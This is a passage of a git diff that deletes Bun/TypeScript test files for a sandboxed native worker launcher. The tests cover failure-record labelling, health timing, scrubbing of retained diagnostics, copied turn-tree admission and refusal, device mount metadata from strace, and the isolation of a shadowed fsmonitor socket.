reported=recordNativeGuardChild(boot,true,{drained,snapshot:()=>text}); - // Observe kernel exit without letting the JS exit callback run before cleanup. - const deadline=Date.now()+${watchdogMs(2000)}; - for(;;){let exited=false;try{exited=/^[^)]+\\) Z /.test(readFileSync("/proc/"+boot.pid+"/stat","utf8"));}catch(error){if(error.code!=="ENOENT")throw error;exited=true;}if(exited)break;if(Date.now()>deadline)throw Error("SYNTHETIC_FAILURE_DID_NOT_EXIT");Bun.sleepSync(1);} - Bun.sleepSync(${delay});boot.kill("SIGTERM");await reported; - `],{env:{PATH:"/usr/bin:/bin"}}); - const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,out).toBe(0); - const record=out.split("\n").filter(line=>line.startsWith('{"kind":"native-offline-bootstrap-failure"')).map(line=>JSON.parse(line))[0]; - expect(record?.exitCode,"CLEANUP_KILL_MUST_NOT_RELABEL_FAILURE").toBe(1); - expect(record?.reason).toContain("fixture child failed"); - expect(out).not.toContain('"kind":"native-offline-bootstrap-termination"'); -}); - -for(const executed of [false,true])test(`nonzero synthetic child is labelled as ${executed?"native exit after exec":"bootstrap failure without exec"}`,async()=>{ - const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"),entry=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-entry.ts"),pipes=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"); - const child=spawnGuardFixture([process.execPath,"-e",` - import {mock} from "bun:test"; - const guard={...await import(${JSON.stringify(guard)})}; - const audit=guard.auditNativeLaunch(["/bin/sh","-c","exit 1"],${JSON.stringify(executed?["/bin/sh"]:["/usr/bin/true"])},()=>{});audit.argv[0]=${JSON.stringify(Bun.which("strace"))}; - mock.module(${JSON.stringify(guard)},()=>({...guard,nativeWorkerBoundary(env){const plan=guard.nativeWorkerBoundary(env);if(!env.BRAIN_WORKER_LAUNCH)return plan;const launch=JSON.parse(env.BRAIN_WORKER_LAUNCH);return {...plan,native:true,env:{...env,BRAIN_WORKER_LAUNCH:JSON.stringify({...launch,argv:audit.argv})},nativeExecuted:audit.nativeExecuted,dispose:audit.dispose};}})); - const {createWorkerPipes}=await import(${JSON.stringify(pipes)});const p=createWorkerPipes(),streams=p.streams();streams.stderr.resume();streams.stdout.resume(); - const boot=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/bin/sh","-c","exit 1"],argv:["/bin/sh","-c","exit 1"]})},stdin:p.child[0],stdout:p.child[1],stderr:p.child[2]}); - p.closeChild();streams.stdin.end();await boot.exited; - `],{env:{PATH:"/usr/bin:/bin"}}); - const [,out]=await Promise.all([child.exited,child.guardOutput()]); - const records=out.split("\n").filter(line=>line.startsWith('{"kind":"native-offline-')).map(line=>JSON.parse(line)); - const kind=executed?"native-offline-native-exit":"native-offline-bootstrap-failure"; - expect(records.find(record=>record.kind===kind),"POST_EXEC_EXIT_IS_NOT_BOOTSTRAP_FAILURE").toMatchObject({exitCode:1,signal:null}); - expect(records.some(record=>record.kind===(executed?"native-offline-bootstrap-failure":"native-offline-native-exit"))).toBe(false); - expect(out).toContain(executed?"native payload exited nonzero without stderr":"worker bootstrap exited nonzero; stderr reason unavailable"); - expect(records.find(record=>record.kind==="native-offline-audit")?.nativeLaunched).toBe(executed); -}); diff --git a/tests/native-bootstrap-health.test.ts b/tests/native-bootstrap-health.test.ts deleted file mode 100644 index e033cb12e2..0000000000 --- a/tests/native-bootstrap-health.test.ts +++ /dev/null @@ -1,38 +0,0 @@ -import { watchdogMs } from "../scripts/test-deadlines"; -import { expect, test } from "bun:test"; -import { join } from "node:path"; -import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; - -test("guard FIFO completion keeps keyless admission health within one second",async()=>{ - const entry=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-entry.ts"),pipes=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"); - const child=spawnGuardFixture([process.execPath,"-e",` - import {mock} from "bun:test"; - const actual={...await import("node:stream/promises")}; - mock.module("node:stream/promises",()=>({...actual,pipeline:(source,sink)=>{const end=sink.end.bind(sink);sink.end=(...args)=>{setTimeout(()=>end(...args),50);return sink;};return actual.pipeline(source,sink);}})); - const guard={...await import(${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))})}; - mock.module(${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))},()=>({...guard,nativeWorkerBoundary(env){return {...guard.nativeWorkerBoundary(env),native:Boolean(env.BRAIN_WORKER_LAUNCH)};}})); - import {readFileSync} from "node:fs"; - import {createWorkerPipes} from ${JSON.stringify(pipes)}; - const server=Bun.serve({hostname:"127.0.0.1",port:0,async fetch(request){ - if(new URL(request.url).pathname==="/health")return new Response("healthy"); - const p=createWorkerPipes();try{ - const boot=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true"],argv:["/usr/bin/true"]})},stdin:p.child[0],stdout:p.child[1],stderr:p.child[2]}); - await boot.exited;p.closeChild();p.closeInput();console.log("BOOT_EXITED"); - readFileSync(p.parent[1],"utf8");readFileSync(p.parent[2],"utf8"); - return new Response("qualified"); - }finally{p.cleanup();} - }});console.log(server.port); - `],{env:{PATH:"/usr/bin:/bin"}}); - const reader=child.stdout.getReader();let qualification:Promise|undefined; - try{ - const first=await reader.read(),port=Number(new TextDecoder().decode(first.value).trim()),origin=`http://127.0.0.1:${port}`; - expect((await fetch(origin+"/health")).status).toBe(200); - qualification=fetch(origin+"/qualify").then(response=>response.text()).catch(()=>undefined); - let announced="";while(!announced.includes("BOOT_EXITED")){const part=await reader.read();if(part.done)throw Error("qualification exited before completion");announced+=new TextDecoder().decode(part.value);} - const started=performance.now(); - const status=await fetch(origin+"/health",{signal:AbortSignal.timeout(1000)}).then(response=>response.status,()=>null); - expect(status,"KEYLESS_ADMISSION_HEALTH_WITHIN_ONE_SECOND").toBe(200); - expect(performance.now()-started).toBeLessThanOrEqual(1000); - expect(await qualification).toBe("qualified"); - }finally{child.kill("SIGKILL");await child.exited;await qualification;await child.guardOutput();reader.releaseLock();} -},watchdogMs(10000)); diff --git a/tests/native-boundary-retention.test.ts b/tests/native-boundary-retention.test.ts deleted file mode 100644 index b544600968..0000000000 --- a/tests/native-boundary-retention.test.ts +++ /dev/null @@ -1,68 +0,0 @@ -import {expect,test} from "bun:test"; -import {mkdtempSync,readFileSync,readdirSync,lstatSync,rmSync} from "node:fs"; -import {join} from "node:path"; -import ts from "typescript"; -import {nativeRetainedBoundaryRecord} from "../scripts/test-native-guard"; -import {writePrivateProofArtifact} from "../packages/ui-sdk/tests/fixtures/private-proof-artifact"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; -const rootRepo=join(import.meta.dir,".."); - -for(const mode of ["retained","world-readable","symlink","dotdot"] as const)test(`boundary refusal survives closed receipts only in a private canonical root: ${mode}`,async()=>{ - const root=mkdtempSync("/tmp/odysseus-boundary-retained-"); - try{ - const code=`import * as fs from "node:fs";import {mock} from "bun:test"; - const receipts=await import(${JSON.stringify(join(rootRepo,"scripts/native-test-receipts.ts"))});mock.module(${JSON.stringify(join(rootRepo,"scripts/native-test-receipts.ts"))},()=>({...receipts,nativeReceipt:()=>{}})); - const root=${JSON.stringify(root)},mode=${JSON.stringify(mode)};let target=root; - if(mode==="world-readable")fs.chmodSync(root,0o755); - if(mode==="symlink"){fs.symlinkSync(root,root+"-alias");target=root+"-alias";} - if(mode==="dotdot")target=root+"/../"+root.split("/").at(-1); - process.argv.push("--default-phase=strict","--native-identity-startup-audit="+target); - const {nativeWorkerBoundary}=await import(${JSON.stringify(join(rootRepo,"scripts/test-native-guard.ts"))}); - for(let i=0;i<24;i++)try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:"{"});}catch{} - `; - const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,channel]=await Promise.all([child.exited,child.guardOutput()]); - expect(exit).not.toBe(0);expect(channel,"RECEIPTS_ARE_SUPPRESSED_IN_RETENTION_PROOF").not.toContain('"kind":"native-offline-boundary"'); - const files=readdirSync(root).filter(name=>name.startsWith("native-boundary-failure-")); - expect(files.length,"BOUNDARY_RECORD_SURVIVES_TEARDOWN_AND_IS_CAPPED").toBe(mode==="retained"?16:0); - for(const file of files){const path=join(root,file),text=readFileSync(path,"utf8");expect(Buffer.byteLength(text)).toBeLessThanOrEqual(4096);expect(lstatSync(path).mode&0o777).toBe(0o600);expect(JSON.parse(text)).toMatchObject({phase:"strict",stage:"boundary-admission",success:false,nativeLaunched:false,reason:"invalid worker launch metadata"});} - }finally{rmSync(root+"-alias",{force:true});rmSync(root,{recursive:true,force:true});} -}); - -test("retained boundary diagnostics omit arbitrary paths credentials and metadata",()=>{ - const unsafe='Error: ANTHROPIC_AUTH_TOKEN=x /home/private-owner/My Secret/settings.json '+"s".repeat(10000); - const record=nativeRetainedBoundaryRecord(unsafe,{sourceKind:unsafe,targetKind:unsafe,metadataError:unsafe,relativePath:unsafe,mount:7}); - expect(record).toMatchObject({reason:"unclassified native boundary refusal",mountEvidence:{sourceKind:"unknown",targetKind:"unknown",metadataError:"UNKNOWN",mount:7}}); - const text=JSON.stringify(record);expect(Buffer.byteLength(text)).toBeLessThanOrEqual(4096);for(const secret of ["private-owner","My Secret","ANTHROPIC_AUTH_TOKEN","settings.json"])expect(text,"RETAINED_BOUNDARY_TEXT_IS_FIXED_AND_SCRUBBED").not.toContain(secret); - expect(nativeRetainedBoundaryRecord("worker command and executable argv disagree").reason).toBe("worker command and executable argv disagree"); -}); - -test("strict identity enables and exports retained admission and exec evidence",()=>{ - const source=ts.createSourceFile("identity.ts",readFileSync(join(rootRepo,"packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts"),"utf8"),ts.ScriptTarget.Latest,true); - let predicate="";function visit(node:ts.Node):void{if(ts.isIfStatement(node)&&node.thenStatement.getText(source).includes('process.argv.push(`--native-identity-startup-audit='))predicate=node.expression.getText(source);ts.forEachChild(node,visit);}visit(source); - const enabled=Function("defaultIdentityPhase","process","profile","return ("+predicate+")"); - expect(enabled(()=>"strict",{argv:[]},"strict"),"STRICT_IDENTITY_RETAINS_STARTUP_EVIDENCE").toBe(true);expect(enabled(()=>undefined,{argv:[]},"strict")).toBe(true);expect(enabled(()=>"fresh",{argv:[]},"governed")).toBe(true); - const root=ts.createSourceFile("root.ts",readFileSync(join(rootRepo,"packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts"),"utf8"),ts.ScriptTarget.Latest,true); - let exported="",directory="";function exports(node:ts.Node):void{if(ts.isIfStatement(node)&&ts.isBlock(node.thenStatement))for(const statement of node.thenStatement.statements)if(ts.isVariableStatement(statement))for(const declaration of statement.declarationList.declarations)if(declaration.name.getText(root)==="auditRoot"){exported=node.expression.getText(root);directory=declaration.initializer!.getText(root);}ts.forEachChild(node,exports);}exports(root); - expect(Function("phase","sharedGit","return ("+exported+")")("strict",false),"STRICT_IDENTITY_EXPORTS_RETAINED_EVIDENCE").toBe(true); - expect(Function("phase","sharedGit","return ("+exported+")")("strict",true)).toBe(true); - expect(Function("phase","return ("+directory+")")("strict")).toBe("/identity-server-private/server-ws-strict"); - expect(root.text,"BOUNDARY_SNAPSHOTS_ARE_EXPORTED_WITH_AUDITS").toContain("startup-audit|boundary-failure"); -}); - - -test("fresh and strict audits with the same inode both export without collision",()=>{ - const root=mkdtempSync("/tmp/odysseus-phase-audits-"); - try{ - const source=ts.createSourceFile("root.ts",readFileSync(join(rootRepo,"packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts"),"utf8"),ts.ScriptTarget.Latest,true); - let call="";function visit(node:ts.Node):void{if(ts.isCallExpression(node)&&node.expression.getText(source)==="writePrivateProofArtifact"&&node.arguments[2]?.getText(source).includes("auditRoot"))call=node.getText(source);ts.forEachChild(node,visit);}visit(source); - expect(call,"REAL_IDENTITY_AUDIT_EXPORT_CALL_FOUND").not.toBe(""); - const run=Function("phase","name","auditRoot","readFileSync","join","writePrivateProofArtifact",call); - const failures:string[]=[]; - for(const phase of ["fresh","strict"]){ - try{run(phase,"native-startup-audit-42.json","/captured",()=>JSON.stringify({phase}),join,(_root:string,name:string,data:string)=>writePrivateProofArtifact(root,name,data));}catch(error){failures.push(`${phase}:${(error as NodeJS.ErrnoException).code}`);} - } - expect(failures,"PHASES_WITH_REUSED_INODE_EXPORT_WITHOUT_EEXIST").toEqual([]); - expect(readdirSync(root).sort(),"PHASES_WITH_REUSED_INODE_BOTH_EXPORT").toEqual(["fresh-native-startup-audit-42.json","strict-native-startup-audit-42.json"]); - for(const phase of ["fresh","strict"]){const file=join(root,`${phase}-native-startup-audit-42.json`);expect(JSON.parse(readFileSync(file,"utf8"))).toEqual({phase});expect(lstatSync(file).mode&0o777).toBe(0o600);} - }finally{rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-copied-turn-tree.test.ts b/tests/native-copied-turn-tree.test.ts deleted file mode 100644 index d91fedf4ff..0000000000 --- a/tests/native-copied-turn-tree.test.ts +++ /dev/null @@ -1,55 +0,0 @@ -/** Exact copied-tree roles, using the real acquisition and the real worker plan. */ -import {expect,test} from "bun:test"; -import {mkdtempSync,rmSync} from "node:fs"; -import {join} from "node:path"; -import {bundledClaudeBinary} from "../packages/core/src/providers/agents/claude-binary"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; -const repo=join(import.meta.dir,".."); -for(const mode of ["valid","reinstalled-observer","shadowed-socket","missing-overlay","different-overlay","intervening-bind","parent","swapped","closed","expired-view","foreign-scope","wrong-target","replaced"] as const)test(`copied fixture turn tree: ${mode}`,async()=>{ - const root=mkdtempSync("/tmp/odysseus-copied-role-"); - const code=`import * as fs from "node:fs";import {join} from "node:path"; - import {nativeScriptedService,nativeFixtureCopiedTurnTree,nativeWorkerBoundary} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; - import {createTurnDataTree} from ${JSON.stringify(join(repo,"packages/ui-server/src/brain/turn-data-tree.ts"))}; - import {observeCopiedFixtureTurnTrees} from ${JSON.stringify(join(repo,"packages/ui-server/tests/helpers/fixture-turn-data-tree.ts"))}; - import {workerCommand} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; - import {WORKER_DATA_ROOT} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-sandbox.ts"))}; - import {createFixtureWorkerStartupView} from ${JSON.stringify(join(repo,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))}; - const mode=${JSON.stringify(mode)},root=${JSON.stringify(root)},brain=join(root,"brain");fs.mkdirSync(brain);fs.writeFileSync(join(brain,"loom.md"),"Ithaca");const startupView=createFixtureWorkerStartupView(brain);let live=true,hostSocket; - if(["shadowed-socket","missing-overlay","different-overlay","intervening-bind"].includes(mode)){fs.mkdirSync(join(brain,".git"),{recursive:true});hostSocket=Bun.serve({unix:join(brain,".git/fsmonitor--daemon.ipc"),fetch:()=>new Response("UNSAFE_HOST_SOCKET")});} - - const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("Ithaca")}),leave=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,root]}); - const restore=mode==="parent"||mode==="swapped"?()=>{}:observeCopiedFixtureTurnTrees(view=>view===startupView&&live); - const restoreSecond=mode==="reinstalled-observer"?observeCopiedFixtureTurnTrees(view=>view===startupView&&live):()=>{}; - let tree,foreign,plan;const original=Bun.spawnSync,which=Bun.which;Bun.which=(name,options)=>name==="strace"?"/synthetic/strace":which(name,options);Bun.spawnSync=(argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(original,Bun,[argv,options]);process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - try{ - tree=await createTurnDataTree({brainPath:brain,view:startupView,maskPaths:[],mount:true,update:async()=>{}}); - if(fs.readFileSync(join(tree.mount.root,"loom.md"),"utf8")!=="Ithaca")throw Error("REAL_FACTORY_BYTES_CHANGED"); - if(mode==="parent"||mode==="swapped")nativeFixtureCopiedTurnTree(brain,startupView,mode==="parent"?{root:"/tmp",index:tree.mount.index}:{root:tree.mount.index,index:tree.mount.root},()=>live); - const runtime=${JSON.stringify(bundledClaudeBinary())},env={HOME:root,PATH:"/usr/bin:/bin"},launch={brainPath:brain,startupView,command:[runtime],env},argv=workerCommand(launch); - if(hostSocket){ - const at=argv.indexOf("--");const overlay=mode==="different-overlay"?join(root,"other-view"):startupView.root;if(mode==="different-overlay")fs.mkdirSync(overlay); - argv.splice(at,0,"--ro-bind",brain,brain,...(mode==="intervening-bind"?["--ro-bind",brain,join(root,"alias")]:[]),...(mode==="missing-overlay"?[]:["--ro-bind",overlay,brain])); - } - argv.splice(argv.indexOf("--"),0,"--ro-bind",tree.mount.root,mode==="wrong-target"?brain:WORKER_DATA_ROOT,"--ro-bind",tree.mount.index,join(WORKER_DATA_ROOT,".brain-index")); - if(mode==="foreign-scope")foreign=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,root]}); - if(mode==="expired-view")live=false; - if(mode==="replaced"){fs.renameSync(tree.mount.root,tree.mount.root+"-held");fs.mkdirSync(tree.mount.root);} - plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({...launch,argv})});if(mode==="closed"){await tree.close();fs.mkdirSync(tree.mount.root);fs.mkdirSync(tree.mount.index);}plan.beforeLaunch(); - const guarded=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;fs.writeFileSync(guarded[guarded.indexOf("-o")+1],"1 execve("+JSON.stringify(runtime)+", [], 0x1) = 0\\n");plan.dispose();plan=undefined;console.log("EXACT_COPIED_TREE_ADMITTED"); - }finally{plan?.dispose();await tree?.close();if(tree?.mount)fs.rmSync(tree.mount.root+"-held",{recursive:true,force:true});if(mode==="closed"&&tree?.mount){fs.rmSync(tree.mount.root,{recursive:true,force:true});fs.rmSync(tree.mount.index,{recursive:true,force:true});}hostSocket?.stop(true);restoreSecond();restore();foreign?.();leave();server.stop(true);startupView.cleanup();}`; - try{ - const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - if(["valid","reinstalled-observer","shadowed-socket"].includes(mode)){expect(exit,err).toBe(0);expect(out,"REAL_COPIED_TREE_ADMITTED").toContain("EXACT_COPIED_TREE_ADMITTED");} - else{expect(exit,"UNTRUSTED_COPIED_TREE_REFUSED "+err).not.toBe(0);expect(out).not.toContain("EXACT_COPIED_TREE_ADMITTED");expect(err,"EXACT_COPIED_ROLE_CAUSED_REFUSAL").toContain(["missing-overlay","different-overlay","intervening-bind"].includes(mode)?"fixture storage contains an unowned Unix socket":"copied fixture turn tree declaration unavailable");} - }finally{rmSync(root,{recursive:true,force:true});} -}); - -test("the real copied-brain view cannot reach the shadowed fsmonitor socket",async()=>{ - const root=mkdtempSync("/tmp/odysseus-shadow-view-"); - const script=`import * as fs from "node:fs";import {join} from "node:path";import {createFixtureWorkerStartupView} from ${JSON.stringify(join(repo,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))}; - const root=${JSON.stringify(root)},brain=join(root,"brain");fs.mkdirSync(brain);fs.mkdirSync(join(brain,".git"));fs.writeFileSync(join(brain,"loom.md"),"Ithaca");const view=createFixtureWorkerStartupView(brain,{omitGit:true});const path=join(brain,".git/fsmonitor--daemon.ipc");let hits=0;const socket=Bun.serve({unix:path,fetch(){hits++;return new Response("UNSAFE");}}); - try{const payload='import errno,os,socket,sys\\np=sys.argv[1]\\nassert not os.path.lexists(p),"SHADOWED_FSMONITOR_IS_VISIBLE"\\ns=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)\\ntry:\\n s.connect(p)\\n raise AssertionError("SHADOWED_FSMONITOR_IS_REACHABLE")\\nexcept OSError as e:\\n assert e.errno==errno.ENOENT\\nprint("SHADOWED_FSMONITOR_ABSENT_IN_REAL_VIEW")'; - const child=Bun.spawn(["bwrap","--unshare-user","--bind","/","/","--dev-bind","/dev","/dev","--ro-bind",brain,brain,"--ro-bind",view.root,brain,"--","/usr/bin/python3","-I","-S","-c",payload,path],{stdout:"pipe",stderr:"pipe"});const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);if(code!==0)throw Error(err);if(!out.includes("SHADOWED_FSMONITOR_ABSENT_IN_REAL_VIEW")||hits)throw Error("REAL_VIEW_DID_NOT_HIDE_FSMONITOR");console.log(out); - }finally{socket.stop(true);view.cleanup();}`; - try{const child=spawnGuardFixture([process.execPath,"-e",script]);const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(code,err).toBe(0);expect(out).toContain("SHADOWED_FSMONITOR_ABSENT_IN_REAL_VIEW");}finally{rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-device-diagnostics.test.ts b/tests/native-device-diagnostics.test.ts deleted file mode 100644 index 4b16795e12..0000000000 --- a/tests/native-device-diagnostics.test.ts +++ /dev/null @@ -1,66 +0,0 @@ -import { expect,test } from "bun:test"; -import { mkdtempSync,readFileSync,rmSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { nativeDeviceMetadata,nativeDeviceMetadataCommand,nativeStartupOpenStages } from "../scripts/native-device-diagnostics"; -test("device metadata is collected by the harmless payload inside its actual view",async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-device-metadata-")); - try{ - const log=join(root,"trace"),strace=Bun.which("strace");expect(strace,"strace required for device metadata proof").toBeTruthy(); - const child=Bun.spawn([strace!,"-f","-qq","-e","trace=newfstatat,statfs","-e","abbrev=!newfstatat,statx","-o",log,"--","bwrap","--unshare-user","--uid","21002","--gid","21002","--unshare-net","--ro-bind","/","/","--dev","/dev","--",...nativeDeviceMetadataCommand(["python3","-I","-S","-c",'import os; fd=os.open("/dev/urandom",os.O_RDONLY);os.close(fd)'])],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(code,"DEVICE_PROBE_PRESERVES_PATH_SEARCH "+err).toBe(0);expect(out).toBe(""); - const records=nativeDeviceMetadata(readFileSync(log,"utf8")); - expect(records.map(value=>value.device),"ACTUAL_CHILD_DEVICE_METADATA").toEqual(["dev","urandom"]); - expect(records.find(value=>value.device==="dev")?.uid).toBe(21002); - expect(records.find(value=>value.device==="urandom"),"CHILD_DEVICE_MOUNT_FLAGS_ARE_OBSERVED").toMatchObject({nodev:false,nosuid:true,ro:false}); - for(const value of records){expect(value.mode).toBeGreaterThan(0);expect(Number.isSafeInteger(value.uid)).toBe(true);expect(Number.isSafeInteger(value.gid)).toBe(true);} - }finally{rmSync(root,{recursive:true,force:true});} -}); -test("device metadata cannot retain host paths or arbitrary syscall content",()=>{ - const trace='1 newfstatat(AT_FDCWD, "/home/private-owner/secret", {st_mode=S_IFDIR|0700, st_uid=1000, st_gid=1000}, 0) = 0\n2 newfstatat(AT_FDCWD, "/dev/urandom", {st_mode=S_IFCHR|0666, st_uid=21002, st_gid=21002, private="TOKEN=secret"}, 0) = 0\n3 newfstatat(AT_FDCWD, "/dev", 0x1, 0) = -1 EACCES (Permission denied)'; - expect(nativeDeviceMetadata(trace),"DEVICE_METADATA_FIXED_FIELDS_ONLY").toEqual([{device:"urandom",mode:0o666,uid:21002,gid:21002},{device:"dev",error:"EACCES"}]); -}); - -test("startup open evidence distinguishes wrapper and native payload without paths",()=>{ - const trace='4 execve("/runtime/bun", ["bun"], 0x0) = 0\n4 openat(AT_FDCWD, "/dev/urandom", O_RDONLY) = -1 EACCES (Permission denied)\n4 clone(child_stack=NULL, flags=SIGCHLD) = 5\n5 execve("/runtime/claude", ["claude"], 0x0) = 0\n5 openat(AT_FDCWD, "/dev/fd/2", O_RDONLY) = -1 EPERM (Operation not permitted)'; - expect(nativeStartupOpenStages(trace,["/runtime/claude"],"/runtime/bun"),"STARTUP_OPEN_EXEC_STAGE").toEqual([{stage:"wrapper",execPosition:1,device:"urandom",error:"EACCES"},{stage:"payload",execPosition:2,device:"fd/2",error:"EPERM"}]); - const resumed=trace.replace('4 execve("/runtime/bun", ["bun"], 0x0) = 0','4 execve("/runtime/bun", ["bun"], 0x0 \n4 <... execve resumed>) = 0'); - expect(nativeStartupOpenStages(resumed,["/runtime/claude"],"/runtime/bun"),"RESUMED_EXEC_STAGE_IS_RETAINED").toEqual(nativeStartupOpenStages(trace,["/runtime/claude"],"/runtime/bun")); -}); -test("real worker diagnostic plan stats devices before the trusted Bun wrapper starts",async()=>{ - const {nativeDiagnosticWorkerPayload,nativeWorkerPayloadCommand}=await import("../scripts/test-native-guard"); - const root=mkdtempSync(join(tmpdir(),"odysseus-device-wrapper-"));const socket=join(root,"proxy.sock"); - const server=Bun.listen({unix:socket,socket:{data(){}}}); - try{ - const entry=join(import.meta.dir,"../packages/ui-sdk/src/server/egress-worker-entry.ts"),payload=["/usr/bin/true"],log=join(root,"trace"); - const command=nativeDiagnosticWorkerPayload(nativeWorkerPayloadCommand([process.execPath,entry,...payload],payload,args=>args),true); - const child=Bun.spawn([Bun.which("strace")!,"-f","-qq","-e","trace=newfstatat,statfs,execve","-e","abbrev=!newfstatat,statx","-o",log,"--","bwrap","--unshare-user","--uid","21002","--gid","21002","--unshare-net","--ro-bind","/","/","--tmpfs","/run","--dir","/run/brain-egress","--ro-bind",socket,"/run/brain-egress/proxy.sock","--dev","/dev","--",...command],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); - const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(code,err).toBe(0); - const trace=readFileSync(log,"utf8"),metadata=nativeDeviceMetadata(trace);expect(metadata.map(v=>v.device),"DEVICE_STATS_PRECEDE_WRAPPER").toEqual(["dev","urandom"]); - expect(trace.indexOf('"/dev/urandom", {')).toBeLessThan(trace.indexOf('execve('+JSON.stringify(process.execPath))); - }finally{server.stop();rmSync(root,{recursive:true,force:true});} -}); - -test("separate UID audit view preserves production device mounts and permits urandom",async()=>{ - const {nativeSeparateUidAuditCommand,nativeProductDeviceMounts}=await import("../scripts/native-device-diagnostics"); - const root=mkdtempSync(join(tmpdir(),"odysseus-audit-devices-")); - try{ - const code='import os,json\np="/dev/urandom"\nf=os.statvfs(p).f_flag\nr={"nodev":bool(f&os.ST_NODEV),"nosuid":bool(f&os.ST_NOSUID),"ro":bool(f&os.ST_RDONLY)}\ntry: fd=os.open(p,os.O_RDONLY);os.close(fd);r["open"]="ok"\nexcept OSError as e:r["open"]=e.errno\nprint(json.dumps(r))'; - const command=nativeSeparateUidAuditCommand("bwrap",["/usr/bin/python3","-I","-S","-c",code],root); - const child=Bun.spawn(command,{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); - const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(exit,err).toBe(0);expect(JSON.parse(out),"AUDIT_VIEW_DEVICE_FLAGS_ALLOW_URANDOM").toEqual({nodev:false,nosuid:true,ro:false,open:"ok"}); - expect(command.slice(command.indexOf("--dev-bind"),command.indexOf("--tmpfs")),"DEVICE_LIST_DERIVED_FROM_PRODUCTION_KEEPER").toEqual(nativeProductDeviceMounts()); - - }finally{rmSync(root,{recursive:true,force:true});} -}); -test("device mount metadata retains only fixed kernel flag booleans",()=>{ - const trace='9 statfs("/dev/urandom", {f_type=TMPFS_MAGIC, f_flags=ST_VALID|ST_NOSUID|ST_NODEV|ST_RDONLY|ST_RELATIME}) = 0\n9 statfs("/home/private-owner/secret", {f_flags=ST_NODEV}) = 0'; - expect(nativeDeviceMetadata(trace),"FIXED_DEVICE_MOUNT_FLAGS_ONLY").toEqual([{device:"urandom",nodev:true,nosuid:true,ro:true}]); -}); - -test("open-stage labels follow a migrated exec to its surviving leader",()=>{ - const trace='41 execve("/fixture/wrapper", [], []) = 0\n42 execve("/fixture/payload", [], [] \n41 +++ superseded by execve in pid 42 +++\n41 <... execve resumed>) = 0\n41 openat(AT_FDCWD, "/dev/urandom", O_RDONLY) = -1 EACCES (Permission denied)'; - expect(nativeStartupOpenStages(trace,["/fixture/payload"],"/fixture/wrapper"),"MIGRATED_EXEC_OPEN_STAGE_IS_PAYLOAD").toEqual([{stage:"payload",execPosition:2,device:"urandom",error:"EACCES"}]); -}); diff --git a/tests/native-direct-transport.test.ts b/tests/native-direct-transport.test.ts deleted file mode 100644 index 3698332894..0000000000 --- a/tests/native-direct-transport.test.ts +++ /dev/null @@ -1,78 +0,0 @@ -import {expect,test} from "bun:test"; -import {mkdtempSync,rmSync,statSync} from "node:fs"; -import {join} from "node:path"; -import {tmpdir} from "node:os"; -import {watchdogMs} from "../scripts/test-deadlines"; -import {compileSocketPolicy,nativeTestHead,nativeDirectTransportCommand,nativeDirectTransportEnvironment,nativeScriptedService,startNativeTurnProxyTunnel,nativeTurnProxyArguments,WORKER_TURN_PROXY} from "../scripts/test-native-guard"; - -test("direct native plans preserve product authentication without injecting socket login",()=>{ - const product={ANTHROPIC_BASE_URL:"http://127.0.0.1:1234",ANTHROPIC_API_KEY:"fixture-key",CLAUDE_CODE_OAUTH_TOKEN:"fixture-oauth"}; - const direct={...product,...nativeDirectTransportEnvironment(product,false)}; - 